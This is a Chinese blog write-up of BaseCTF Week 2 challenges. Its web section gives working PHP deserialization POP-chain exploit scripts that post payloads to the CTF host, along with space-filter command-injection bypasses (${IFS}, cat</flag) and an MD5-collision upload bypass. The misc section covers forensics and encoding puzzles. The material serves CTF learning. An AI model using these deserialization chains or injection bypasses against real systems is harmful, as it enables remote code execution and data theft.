BaseCTF Week2

Week2

Web

[Week2] 一起吃豆豆

[Week2] 你听不到我的声音

无回显RCE
参考博客:


[Week2] ez_ser

PHP反序列化。
参考博客:[https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/](https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/)
编写EXP脚本:

<?php
  // highlight_file(__FILE__);
  // error_reporting(0);

  class re
{
  public $chu0;
public function __toString()            //  在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况 
  {
    if (!isset($this->chu0)) {
      return "I can not believes!";
    }
    $this->chu0->$nononono;
  }
}

class web
{
  public $kw;
  public $dt;

  public function __wakeup()          //   创建对象时自动调用__wakeup()函数
  {
    echo "lalalla" . $this->kw;
  }

  public function __destruct()        //对象所在的函数已调用完毕),系统自动执行析构函数
  {
    echo "ALL Done!";
  }
}

class pwn
{
  public $dusk;
  public $over;

  public function __get($name)            //  读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
  {
    if ($this->dusk != "gods") {
      echo "什么,你竟敢不认可?";
    }
    $this->over->getflag();
  }
}

class Misc
{
  public $nothing;
  public $flag;

  public function getflag()
  {
    eval("system('cat /flag');");
  }
}

class Crypto
{
  public function __wakeup()          //   创建对象时自动调用__wakeup()函数
  {
    echo "happy happy happy!";
  }

  public function getflag()
  {
    echo "you are over!";
  }
}

//反序列化的链子
// Web的__wakeup() -> __toString() -> $nononono -> __get() -> getflag() 

// 构建对象并设置其属性
$re = new re();
$pwn = new pwn();
// $misc = new Misc();
$crypto = new Crypto();
# 触发Web的__wakeup
$web = new web();

# 触发__toString()
$web -> kw = $re;

# 触发__get()
$re -> chu0 = $pwn;


$pwn -> dusk = "gods";
$pwn -> over = new Misc();


// 序列化对象
$payload = urlencode(serialize($web));
echo $payload ."\n";


// 构造 URL,将 Payload 传递给目标网站
$url = "http://challenge.basectf.fun:32538/?ser=" . $payload;


// 发送 GET 请求,触发反序列化漏洞
$response = file_get_contents($url);

// 输出响应
echo $response;

image.png
image.png

代码分析
  1. 类定义:
    • class re: 拥有一个属性chu0,并实现了__toString方法,当对象被当做字符串使用时会调用此方法。如果chu0未被设置,则返回"I can not believes!"。如果chu0被设置,则尝试调用其一个未定义的属性 $nononono 上的方法。
    • class web: 拥有两个属性kwdt,并定义了__wakeup__destruct方法。__wakeup在反序列化时会被调用,输出"lalalla"和kw__destruct在对象销毁时被调用,输出"ALL Done!"。
    • class pwn: 拥有两个属性duskover,并重载了__get方法。当访问未定义的属性时,会调用__get方法。如果dusk不是"gods",输出"什么,你竟敢不认可?"。然后调用over对象的getflag方法。
    • class Misc: 拥有两个属性nothingflag,并定义了getflag方法,运行system('cat /flag');
    • class Crypto: 定义了__wakeupgetflag方法,__wakeup在反序列化时输出"happy happy happy!“,getflag输出"you are over!”。
  2. 反序列化
    • $ser = $_GET['ser'];: 从GET请求中获取序列化的字符串。
    • unserialize($ser);: 反序列化该字符串。
反序列化利用

为了利用反序列化的漏洞来执行Misc类中的getflag方法,我们需要构造一个适当的序列化字符串。我们可以通过以下步骤来构造:

  1. 创建一个pwn类的对象。
  2. 设定其dusk属性为"gods"。
  3. 设定其over属性为一个Misc类的对象。

[Week2] RCEisamazingwithspace

image.png
在这个PHP代码中,用户输入的命令被限制不能包含空格(即空白字符),因为使用了正则表达式 preg_match('/\s/', $cmd) 来检查。如果命令中包含空格字符,则会输出 “Space not allowed in command” 并退出。然后使用 system($cmd) 执行命令。
要绕过这个限制执行一个命令获取flag,你可以利用以下几种方法:

1. 使用URL编码和替代字符

某些符号可以在命令解析时替代空格。以下是一些常见的方法:

使用分号

分号可以用来分隔多个命令:

cmd1;cmd2

你可以用分号来分隔命令,比如:

cat;/flag

然而这样会被直接检测为空格的存在而被阻止。

使用${IFS}变量

在Bash中,${IFS}代表内部字段分隔符,默认是空格、制表符和换行符。你可以利用它来绕过空格检查:

cat${IFS}/flag
2. 使用环境变量

某些情况下,你可以使用环境变量来构造命令,例如:

${PATH:0:1}bin${PATH:0:1}cat${PATH:0:1}flag

这将会解析为 /bin/cat /flag

3. 使用命令替代(不包含空格)

你可以使用命令替代短命令来获取flag。例如:
如果目标服务器允许访问/proc文件系统,你可以尝试以下命令:

cat</flag

这样避免了使用空格。

4. 使用目录路径替代空格

某些情况下,你可以利用路径替代空格。例如:

cat</flag
示例代码

假设你希望通过POST请求发送命令,可以尝试以下PHP重现这种绕过的例子:

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}
system($cmd);
?>

然后你可以使用上面提到的方法,比如:

cat${IFS}/flag

来进行测试。

CURL请求示例

使用 curl 发送POST请求测试:

curl -X POST -d "cmd=cat${IFS}/flag" http://target.url/path/to/script.php

通过这种方法,你可以绕过空格检查并执行命令来获取flag。请注意,根据实际服务器配置和安全措施,可能需要调整策略。务必确保你有合法权限和授权进行这类测试。

[Week2] Happy Birthday

首先检查是否是PDF文件,修改Content-Type
image.png
然后检查两个文件的内容是否一致,一致不给过,不一致才给过
但是内容不一致之后会检查MD5是否一致,MD5一致才给过
众所周知,内容的变化就会导致MD5的变化,所以只能用fastcoll_v1.0.0.5.exe来生成两个内容不一样的文件,但是MD5一样的文件来绕过,参考博客:【小工具发现系列-2】fastcoll_v1.0.0.5.exe md5碰撞_fastcoll工具-CSDN博客
然后将这两个文件上传获得flag
image.png

[Week2] Really EZ POP

EXP:

<?php
// highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo `cat /flag`;';
    public function __toString()        //  在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况 
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()      //以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用,CTF中最常见的触发情况就是出现($this–>m1)()这种形式的调用时,被处理后就可以成功调用__invoke()
    {
        echo 'Shark says:' . $this->word;
    }

    public function setWord($word)      // 使用公共方法设置私有属性
    {
        $this->word = $word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)        //  读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()        //对象所在的函数已调用完毕),系统自动执行析构函数
    {
        echo $this->sea->see;
    }
}

//反序列化的链子
// __destruct() ->  __get() -> __invoke() -> __toString() -> eval($this->cmd)

// 构建对象并设置其属性
$sink = new Sink();
$shark = new Shark();
$sea = new Sea();
// 触发__destruct()
$nature = new Nature();

//触发__get()
$nature -> sea = $sea;

//触发__invoke()
$sea -> animal = $shark;

//触发 __toString()
$shark->setWord($sink); // 通过公共方法设置私有属性

// 修改 cmd 命令



$payload = urlencode(serialize($nature));

echo $payload . "\n";


// 将Payload发送到目标网站
$data = [
    'nature' => $payload,
];

$url = 'http://challenge.basectf.fun:27759/'; // 替换成目标网站的URL
$options = [
    'http' => [
        'method' => 'POST',
        'header' => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query($data),
    ],
];

$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

// 输出响应
echo $response;


//生成的payload为:O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22echo+%60cat+%2Fflag%60%3B%22%3B%7D%7D%7D%7D
//URL解码为:O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"Sharkword";O:4:"Sink":1:{s:9:"Sinkcmd";s:17:"echo+`cat+/flag`;";}}}}

image.png

Misc

[Week2] 前辈什么的最喜欢了

Base64转图片——>PNG宽高一把梭
在线Base64转图片 (lddgo.net)
image.png
image.png
image.png
image.png
image.png

[Week2] 二维码1-街头小广告

image.png

[Week2] 海上又遇了鲨鱼

参考博客:Wireshark使用指南之重组FTP会话,提取FTP传输原始数据_提取每个 ftp-data 包中的数据流,拼接为一个完整文件-CSDN博客
发现flag.zip
image.png
追踪TCP流到19个流,发现压缩包的文件头和内容
image.png
保存原始数据为flag.zip
image.png
提示需要解压密码
image.png
第16个流有密码Ba3eBa3e!@#
image.png
image.png

[Week2] Aura 酱的旅行日记 <图寻擂台>

谷歌识图
image.png
百度百科
image.png

[Week2] 哇!珍德食泥鸭

foremost ikun.gif -o out
获得一个docx文档,移开白色图片获得flag,或者全选,然后复制粘贴到记事本可以看到flag
image.png
image.png

[Week2] Base?!

在线XXencode编码|在线XXencode解码|XX编码|XX解码|XXencode编码原理介绍–查错网 (chacuo.net)
XXencode
image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fab1an要努力~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值